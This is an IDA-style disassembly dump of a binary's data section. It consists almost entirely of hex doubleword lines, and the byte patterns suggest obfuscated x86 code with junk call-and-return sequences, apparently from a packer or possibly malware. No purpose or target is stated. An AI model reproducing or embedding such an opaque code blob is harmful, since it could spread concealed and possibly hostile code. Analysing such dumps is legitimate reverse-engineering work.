		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0F18BC356h, 0F84CA50h, 858DFABFh,	6259345h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 5AC35040h
		dd 0AA65D3AAh, 14E854h,	76EB0000h, 0E48A81CEh, 0C9D4831Ch
		dd 0FE0D81DBh, 78E60903h, 8A0FD2A6h, 6,	16419D31h, 665B0622h
		dd 0E4C7F381h, 0EE890h,	6A950000h, 0AD29B4Ch, 7EFEEE58h
		dd 0DB73738h, 7E8h, 0CB72FF00h,	0C82CC5DEh, 5FDF8B66h
		dd 0BE9505Bh, 63000000h, 0E53D147Ah, 52FCD705h,	6A90E207h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 7E33C356h, 4537861Bh, 35FF64F5h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 1EC35646h
		dd 814EE36Ch, 582DF6DBh, 25896438h, 0
		dd 0A89BD8Bh, 85FF0622h, 62208B1h, 0FF6ADD8Ah, 0A820Fh
		dd 51600000h, 0CD8D8B5Bh, 61062214h, 4B9B5FFh, 6A0622h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0B58951C3h, 62201ADh, 5850Fh, 40BF0000h, 5759A680h
		dd 294DBD03h, 0FF5F0622h, 221C3595h, 131E906h, 8B660000h
		dd 0F00B0FAh, 380h, 0FE8B6600h,	9D8970E6h, 62226A9h, 8B6671E4h
		dd 0F613CD8h, 10E83h, 20D78000h, 1C8B60Fh, 220B219Dh, 6BA06h
		dd 10E80000h, 0AE000000h, 646E9C20h, 0C3C38A86h, 397C15CAh
		dd 0E91A7324h, 7, 99279492h, 5BD1754Ah,	8589C18Bh, 6223339h
		dd 0F04E8C1h, 68Ah, 599D2300h, 6606221Ch, 0ECB7E2F7h, 8BD08B60h
		dd 0C82B61CFh, 5810Fh, 80BF0000h, 8B299268h, 0D9B70FD1h
		dd 6E9h, 0FD8D8900h, 8B06220Ah,	22017185h, 0EDB58906h
		dd 8306221Ah, 0BB6607C0h, 0C0831C40h, 3858BB00h, 0D03B3D1Ah
		dd 10830Fh, 0BD8B0000h,	6222831h, 6EE9h, 8F4DBF00h, 8D8B4229h
		dd 6220561h, 13E9h, 0F5D8B00h, 325DF423h, 85D8EECAh, 3DF8319Dh
		dd 0EBAFEA61h, 0F01E183h, 4284h, 0EE900h, 78BE0000h, 6089D3CEh
		dd 5E24DE48h, 1B85661Ah, 561A583h, 8BFE0622h, 222A49BDh
		dd 71958906h, 0E8062201h, 0Bh, 0E1AB8733h, 42B7365Ah, 8BE4C4A6h
		dd 2234E9BDh, 0E95F06h,	8D000000h, 260EBDB5h, 0C5BD8B06h
		dd 6A06221Ch, 4830F00h,	66000000h, 0FF5557BFh, 22307595h
		dd 0F3D38106h, 0B9494303h, 740h, 0CE860h, 0B1810000h, 6B4E41E5h
		dd 0AAE19B91h, 0B5015BC8h, 62215A9h, 0FE958h, 0A2D60000h
		dd 0D1DDE2EAh, 65A380BEh, 7A30867Ah, 9D2961A3h,	62218A9h
		dd 6AFCE183h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 227BC351h, 0E4376F0Eh,	0DC3315EBh
		dd 298BC781h, 0BFFC282Ah, 3B4CFB4Bh, 0B8h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 8923384Ah, 222CBD95h, 6AD22B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0FFBBC357h
		dd 69E1F855h, 800FA8E1h, 0
		dd 5C99D29h, 0C3800622h, 0C233AD22h, 0D003E8D1h, 7504E983h
		dd 57006AF4h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0A2B48B87h, 0F6B64A10h, 0CE9h, 7ABF0200h
		dd 1C384D28h, 99996497h, 6860F84h, 81000000h, 6ECA56E3h
		dd 880D70h, 81660000h, 8B9C20D7h, 2233F195h, 8E906h, 0A54E0000h
		dd 43F45940h, 8D8B3F54h, 6222D31h, 9119D8Bh, 8B500622h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 5C78166h
		dd 53006AEFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 268152DEh, 168B0FABh, 0E9000000h, 11h, 0F3CA69E8h
		dd 0E4345E36h, 602ADE16h, 107AD723h, 69BD8372h,	6222Ch
		dd 7D840Fh, 91BF0000h, 0E90344FFh, 0Dh,	4140FD04h, 44B5F63h
		dd 0C7226A6h, 0B818h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0E3B942C3h, 107DBD8Bh
		dd 85890622h, 6221A3Dh,	50B18D8Dh, 6A0622h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 1EE3BCC3h
		dd 4C4AA6E0h, 519D8BFBh, 0FF062232h, 31F381E1h,	836A3209h
		dd 2230E5BDh, 840F0006h, 46Bh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 22C35545h, 0B185892Ch, 83062220h
		dd 2230E5BDh, 840F0106h, 456h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 82C35646h, 5E9h, 0A8DA9200h
		dd 0BD8338FFh, 62230E5h, 0ED860F03h, 8B000003h,	22001DBDh
		dd 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 209670C3h, 5ABB66F4h, 219D8918h, 0B3062205h
		dd 0D98C668Dh, 0FE9h, 7A3E5800h, 0BBCD72A1h, 7F3250C9h
		dd 9A895DB5h, 6A04E180h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0C969C355h,	0AF911706h
		dd 0AF008368h, 0FC90AF5h, 13584h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 6E6C5B85h
		dd 0DBB70F74h, 6850Fh, 9D8B0000h, 6221279h, 10B9858Bh
		dd 33FC0622h, 2208A585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 9D641B84h, 0E7857A5Ah
		dd 68F0FF6h, 8B000000h,	2214899Dh, 61958906h, 50062212h
		dd 0E54FBF66h, 0F240489h, 98Bh,	38A0F00h, 0F000000h, 6AF8B7h
		dd 68FEB70Fh, 8FD81519h, 48178B3h, 46EEE624h, 0B1BD8970h
		dd 0F06221Eh, 68Ah, 1D8D2900h, 0FF062231h, 221E9195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 1DA3F827h, 3DC78166h, 0EB8589ACh, 6A0625CAh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 8FADC357h, 0B2FCB720h, 0B59D23A1h, 0E906222Fh, 1C3h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 49C35747h
		dd 8A1347EAh, 0FC3FD22Eh, 2721BD8Bh, 858B0622h,	625CAE3h
		dd 1D318D89h, 0C70622h,	18h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0A5C35646h,	8B6D734Dh, 221D59BDh
		dd 0A8E0F06h, 0F000000h, 48Ch, 0EABB6600h, 0E7B58B82h
		dd 6A0625CAh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0D630C356h, 0B1E86448h, 0F8D3F28Eh
		dd 0A65858Bh, 9D8B0622h, 6221CF5h, 6A0689h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 4D1D40C3h
		dd 0B9858B5Bh, 89062210h, 221BA59Dh, 4468906h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6EC35040h, 81DFDB8Fh
		dd 0AA412929h, 0BB6650A8h, 3489DD4Fh, 0FF04B724h, 25CAE3B5h
		dd 0DF8B6606h, 4E8h, 1F03FF00h,	89BB6600h, 0BF6650ADh
		dd 448B8884h, 880F0424h, 13h, 0CE960h, 6740000h, 0CD17E2D4h
		dd 7C3AC00Eh, 8B6144F4h, 89CFB700h, 58042444h, 27218D89h
		dd 858D0622h, 625CAEBh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 95C35545h, 16830FBCh,	0E9000000h, 11h
		dd 554303D8h, 14984F24h, 31F11A9Bh, 0C31C2404h,	58F0F2Dh
		dd 66000000h, 0A053D381h, 0BF525050h, 744FD850h, 2ABF310Fh
		dd 5A3CFF1Ah, 24048958h, 0F3AC20BBh, 9195FF5Dh,	8906221Eh
		dd 22078995h, 0F1852906h, 61062215h, 12E9h, 3929B100h
		dd 5DF3674Fh, 470679A7h, 744FB07Fh, 0C7A8019Eh,	2230E585h
		dd 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 2A55C17Bh, 81BD2315h, 8306220Ah
		dd 25CAEBBDh, 840F0006h, 50h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0E8C35545h,	0A26DC649h, 44E9D98Bh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 75BAC355h, 1491B589h, 0BD890622h
		dd 62205EDh, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 81C08B00h, 55CF98E3h, 810F05h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 5145C353h, 9D8BC404h, 622198Dh, 9D8BD98Bh, 6222D85h
		dd 30E5BD83h, 0F030622h, 51785h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 534190D6h
		dd 93BB5135h, 5F1DFE15h, 6870Fh, 0BD030000h, 622304Dh
		dd 0CAEBBD83h, 0F000625h, 4D784h, 0EBB5FF00h, 6A0625CAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0CF4C353h, 413722DAh, 7E928h, 0F28D0000h
		dd 40940550h, 1141BFBEh, 95FF73DFh, 6221DCDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0AC35646h, 64BFAC29h
		dd 0BB6C3601h, 0DE90Eh,	0A4B70000h, 83402F90h, 3AA5E898h
		dd 8BC090EFh, 25CADFB5h, 0BDE78106h, 0C735727Eh, 1000106h
		dd 57006A00h, 3E8h, 0C35F2000h
dword_544450	dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8950FD94h
					; DATA XREF: ___:off_43BFBCo
		dd 22255585h, 68BF6606h, 52505006h, 14E9h, 0A5A19700h
		dd 0D331A6A9h, 0B7A77BBAh, 0BEC7C1FDh, 77EFD7BEh, 5A310F4Dh
		dd 24348958h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	32C35545h, 0B4171342h, 90BB66DEh, 0EBB5FF24h, 8B0625CAh
		dd 4195FFDEh, 6A062225h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 775AC355h, 660FF0CEh
		dd 8B1496BBh, 25CADFB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 69185C83h, 58D0FDAh, 66000000h
		dd 3922C381h, 5C48FEBBh, 2D858B56h, 6A06221Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 662AC356h, 0E781F98Bh, 3948DED5h, 0C48689h, 6E90000h
		dd 55000000h, 8BC0C5FAh, 0D38166AFh, 958B03ABh,	62233F1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 94C35343h
		dd 0CE978h, 9BBC0000h, 0F241562h, 2832BB00h, 0CF8110B5h
		dd 0C79DF1Ah, 6A04C283h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 9F9DC353h, 24C1087Ah
		dd 6EECD13Bh, 11E960h, 1E010000h, 5721FB76h, 7BD01F2Ah
		dd 0C9E027C5h, 0E9E6B91Fh, 0Ch,	128D62A3h, 0FC4420C6h
		dd 16043B89h, 20508961h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0AFC35141h, 923AB6E6h, 3071EDCCh, 0DABF0F3Fh
		dd 14858589h, 858D0622h, 625DEBCh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 10C35141h, 9D89F974h, 622003Dh
		dd 0B88689h, 9D8B0000h,	62218A9h, 8B66006Ah, 0EBB5FFDFh
		dd 6A0625CAh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0F8B6C355h, 0D83EC648h, 8595FFF5h
		dd 6A062202h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0E921C355h, 0C4231FF3h, 15850Fh
		dd 0E8600000h, 7, 0ED373EDFh, 589C7E7Ah, 860Fh,	96610000h
		dd 0E8A0F50h, 0E9000000h, 9, 6A108220h,	3AB19CF9h, 0F505F53h
		dd 48Eh, 7EBF6600h, 6A96B0h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0B5FF45C3h, 625CAEBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0FAC35242h
		dd 0F595FF0Fh, 6A06221Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0D64FC351h,	28E4BB1Dh
		dd 0BD833934h, 6221331h, 56840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 5FCC357h, 3DCCA98h, 96529E27h, 6840F50h, 0F000000h
		dd 80h,	6A9600h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0DBF164C3h, 2009E5E9h, 0EBB5FFA1h
		dd 600625CAh, 8916C980h, 2231B9BDh, 0BD896106h,	6221899h
		dd 1D4195FFh, 0B70F0622h, 0EBB5FFFEh, 6A0625CAh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 34B6C351h, 0F19229Ch, 0BD8BDEB7h, 6220ACDh, 2FC595FFh
		dd 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0BCF338C3h, 0C2CA58BBh, 0A9BD8332h, 2062202h
		dd 58840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0A9827BC3h, 0E8CE7F25h, 81FC178Bh
		dd 0BB4CD7h, 0E1858B0Ch, 6A062200h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 7816C357h
		dd 0C6F6h, 0BEC0F381h, 85C768E1h, 622197Dh, 0
		dd 0FFF225E9h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 2884E302h, 0EC796D27h
		dd 0BB665D56h, 0C18BF25Ch, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 49C35141h, 5BDD3C8Ah,	0B70FE084h, 0B5858DFBh
		dd 0E806222Ch, 0Ah, 0C5CDACD7h,	9C46C759h, 0F8605994h
		dd 5F615A57h, 50FE8B90h, 8A0Fh,	0BB900000h, 4AB1D3BBh
		dd 8870Fh, 8B570000h, 221CD5BDh, 6A5B06h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Dh, 2FC35545h, 0DC3476E1h
		dd 0DC6972C5h, 1955BFE8h, 6A75B0h, 858DD88Ah, 626A2B8h
		dd 1B7DBD23h, 0C0830622h, 11952905h, 90062227h,	9E9h, 6F419400h
		dd 0BCB95C0h, 8B50F67Bh, 953190FBh, 62214A5h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0A5D573C3h, 8BFFFF45h, 221C59BDh, 6A006A06h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 75B9C355h, 2957600Eh, 220769BDh, 0FF615E06h,	22355595h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 57E8E277h, 860F53h, 5B000000h, 6E95Fh, 576E0000h
		dd 8328F0D1h, 0A90F8D8Dh, 8A0F0625h, 6,	258DB589h, 0D1FF0622h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 34C35646h
		dd 36D7FF2Dh, 0E16BBEEAh, 2890F9Ah, 8B000000h, 0F5BD83DFh
		dd 1062200h, 0A2850Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 64A829C3h, 0F0873248h
		dd 2FDD9501h, 85090622h, 62230FDh, 14E9h, 72DAFC00h, 1689E198h
		dd 80B471A9h, 6BF0AAF9h, 0FCDCBD43h, 6A026A61h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0A315C357h, 50903768h, 326EA2BBh, 95FF9017h,	6220285h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 5DC35747h
		dd 0B5895160h, 6222905h, 918D895Ah, 6106220Eh, 0DF2E9h
		dd 0E800h, 815D0000h, 26A2C2EDh, 0D98B6606h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 55C35040h, 57B70A0Dh
		dd 17860Fh, 12E90000h, 0A7000000h, 950B6D39h, 0A29551E4h
		dd 0C3C64727h, 7846EB5Fh, 45858D06h, 89062593h,	22078585h
		dd 9FBB5006h, 897FCCABh, 9D332404h, 6221895h, 35FF64h
		dd 0BF000000h, 7A86A0A0h, 258964h, 8B000000h, 22298D9Dh
		dd 0B185FF06h, 6A062208h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0F798C351h,	0D876BD4Dh
		dd 0E9FF6ABDh, 0Bh, 741FEE1Bh, 0B8C1142Eh, 0F5ABEB52h
		dd 1281B5FFh, 9D890622h, 62207E5h, 1C3595FFh, 27E90622h
		dd 29000001h, 22282595h, 8000B006h, 70E67FC3h, 1C25B589h
		dd 71E40622h, 68D0Fh, 8D890000h, 6221B7Dh, 830F613Ch, 0FEh
		dd 0FF9B70Fh, 0B60FDEB7h, 11BD8BC8h, 0BA06221Ah, 6, 8BFA8B66h
		dd 859D8BC1h, 8B062210h, 221AF9BDh, 4E8C106h, 0FE9h, 0E04C2900h
		dd 1BFC6EC4h, 0C4B3C77Ch, 0B3EE2793h, 0E9E2F766h, 11h
		dd 12C6E424h, 0E27DD0B1h, 64CE43E6h, 6AB3EDE6h,	0F9C82BDAh
		dd 0B501D18Bh, 6220A71h, 2E9h, 8BD98B00h, 2228C985h, 6820F06h
		dd 31000000h, 2218A995h, 7C08306h, 68D0Fh, 9D290000h, 6221DA1h
		dd 0E800C083h, 0Eh, 2BF2B6AEh, 0D8F4E05Ch, 3103A6DBh, 3357A266h
		dd 223391BDh, 8B5F5F06h, 222531BDh, 0FD03B06h, 1183h, 998D8900h
		dd 89062221h, 2229A995h, 38E906h, 8D8B0000h, 6220419h
		dd 2A59D33h, 0E1830622h, 23840F01h, 66000000h, 0F6D7C781h
		dd 419A583h, 29FE0622h,	221D09BDh, 0C9958906h, 89062228h
		dd 2215C995h, 0E906h, 0B58D0000h, 62617D4h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 80C35242h, 2B8B5C44h
		dd 0DFEB86F7h, 0DDBB66D1h, 6850FE1h, 89000000h,	22108DBDh
		dd 0E8006A06h, 0Dh, 0C907FFDDh,	239C8324h, 0A252B9F3h
		dd 61FC604Eh, 7595FF5Fh, 6A062230h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8124C357h
		dd 5DE6F3DBh, 0ED8D8921h, 0B9062213h, 771h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 7FC35747h, 7E9D8h
		dd 54A70000h, 903125C3h, 0FCE18312h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 88C35545h, 0B5BD8B25h, 0FC062206h
		dd 1A65BD8Bh, 0B80622h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 71E3C355h
		dd 0FA8EF80h, 686h, 51C78100h, 2B37FC40h, 52006AD2h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 800F892Eh, 6, 329D9D8Bh, 8BBB0622h, 0AD30A633h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0D134C351h,	6840Fh
		dd 0BD8B0000h, 6220E8Dh, 89D88B66h, 2202D98Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 36367B4Bh, 495AB3Bh,	0FB8B66B8h, 880Dh, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 56C63590h, 925AF381h, 8B5F61BCh, 2233F195h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 5A4BF58Dh, 0CD2151D8h, 0BB66B168h, 8D8B97FBh, 6222D31h
		dd 9E8h, 0EDA18F00h, 5D0C4D34h,	9D89231Ah, 622055Dh, 0C28B505Fh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 4AD4C356h
		db 22h,	0E9h
word_544F42	dw 0Bh			; DATA XREF: ___:off_4274E0o
		dd 0FFEB0000h, 44947905h, 0E31FB370h, 0AD958913h, 6A062229h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 414FC353h, 6CBD1310h, 8B66C288h, 69BD83FAh
		dd 6222Ch, 74840Fh, 89600000h, 2225DD8Dh, 2DD38106h, 612C5FC9h
		dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0FBBF0F77h, 50B18D8Dh, 8B660622h
		dd 60E1FFD9h, 13E8h, 3F3AD00h, 0BDDD566Ch, 885F6A46h, 0F6ABC65Fh
		dd 39BBDD5Ch, 0E8586160h, 0Eh, 80AFF9EFh, 0D15F096Ah, 0ADC59948h
		dd 0DF815778h, 2297E8EAh, 0BD836158h, 62230E5h,	0D840F00h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 5452C353h, 0E728448Ch,	30E5BD83h
		dd 0F010622h, 3FA84h, 0E8FA8B00h, 0Bh, 0A8FF9800h, 50EBE16Ah
		dd 9937064h, 221165B5h,	0BD835F06h, 62230E5h, 9E860F03h
		dd 6A000003h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 9C27C357h, 9E9h, 8B90C000h, 4CD3E35Fh
		dd 2B512F12h, 221951BDh, 0F9605B06h, 6AD98C66h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 1BFCC356h, 80B3C77Ch, 6A04E1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 7F12BCC3h, 8CBF7855h
		dd 13A7538h, 22289D95h,	0FC90A06h, 14784h, 0B1958900h
		dd 5706220Fh, 8B5FE0B3h, 2210B985h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0BE853h, 0EFDC0000h
		dd 805189A2h, 3FAD42BCh, 0F373BFE1h, 335F70A7h,	2208A585h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0C027E5A7h, 85319E9Dh, 6220F45h,	0AE990h
		dd 0B34F0000h, 0D4F9F24Ch, 93A8CE3Fh, 9082B350h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 5FC35545h, 0E881A6B9h
		dd 6, 4AD1F1BAh, 0DE98B3Dh, 10000000h, 0DAD18E0h, 65609CD2h
		dd 0A62CE19h, 0BD8B605Bh, 6220749h, 0F006A61h, 86h, 5AA86800h
		dd 8B662121h, 243481F8h, 213E5957h, 0BE66F960h,	0FF61B01Dh
		dd 221E9195h, 8B665706h, 85895FFAh, 625CAEBh, 73B9BB66h
		dd 191E9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 31B021EAh, 0CFEFFFB5h, 8D89C06Bh
		dd 6220E31h, 13E8h, 0A7A07D00h,	0A1B64F02h, 4B68A796h
		dd 0BED582AFh, 0CC4560BCh, 5BDA8B66h, 0CAE3858Bh, 0BD8B0625h
		dd 622200Dh, 1800C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 7A7D18C3h, 96059A6Eh
		dd 0CAE7B58Bh, 0FEB70625h, 8BDFBF0Fh, 220A6585h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0CE6FEF9Fh, 79B52918h, 8B062207h, 22070D9Dh,	6A068906h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 1128C357h, 4637F188h, 8B3C8C0Ch, 2210B985h
		dd 85BD8B06h, 89062207h, 8D290446h, 6220791h, 6A965096h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 12DC357h,	0E0AD7D5Dh, 0FF33BCDFh,	25CAE3B5h
		dd 48F0F06h, 66000000h,	66B03CBFh, 1143C381h, 0C6F90468h
		dd 7E803h, 84A60000h, 0CBECDC4Dh, 34815F00h, 0D9FAFB24h
		dd 0B70F6003h, 1BCA80F1h, 0EB858D61h, 900625CAh, 8B50FE8Bh
		dd 800F90DAh, 0
dword_545350	dd 1E9195FFh, 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h
					; DATA XREF: ___:off_43BF7Co
		dd 1A0424h, 51410000h, 8BC0C5C3h, 726E42AFh, 0BB66DA8Bh
		dd 6A618391h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 402BC357h, 89F6E1AFh, 221029BDh
		dd 158D8906h, 0C706220Eh, 2230E585h, 306h, 0CBC78000h
		dd 0CAEBBD83h, 0F000625h, 3884h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0AE93D39h
		dd 0F2000000h, 619444F8h, 0A4DBA623h, 21E9F834h, 29000000h
		dd 2207219Dh, 0C305006h, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 8E0Fh, 95890000h, 62213D5h
		dd 30E5BD83h, 0F030622h, 43B85h, 0EBBD8300h, 625CAh, 42E840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 40F039C3h, 3DA402FAh, 8529AA75h, 6222685h
		dd 0CAEBB5FFh, 8E90625h, 0E2000000h, 0E3680FFCh, 8996F32Ah
		dd 221E958Dh, 0CD95FF06h, 6A06221Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7E8EC353h
		dd 0B58B9C48h, 625CADFh, 2DB589h, 0CFB70622h, 106C7h, 0EF810001h
		dd 3464339Eh, 36B2BF96h, 0BB506008h, 5676B979h,	0D9D0196h
		dd 0FF062230h, 25CAEBB5h, 9E906h, 0C2480000h, 21935E0Fh
		dd 0FF13BBFFh, 22254195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 5576D0E4h
		dd 8B7E2339h, 25CADFB5h, 6840F06h, 60000000h, 5852F48Ah
		dd 2D858B61h, 6A06221Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 1C32C355h, 9D89A691h
		dd 62204D1h, 28F0Fh, 0FE8B0000h, 0C48689h, 958B0000h, 62233F1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0BBC35646h
		dd 0BF0FB12Eh, 459D0BFFh, 83062232h, 508904C2h,	51006A20h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
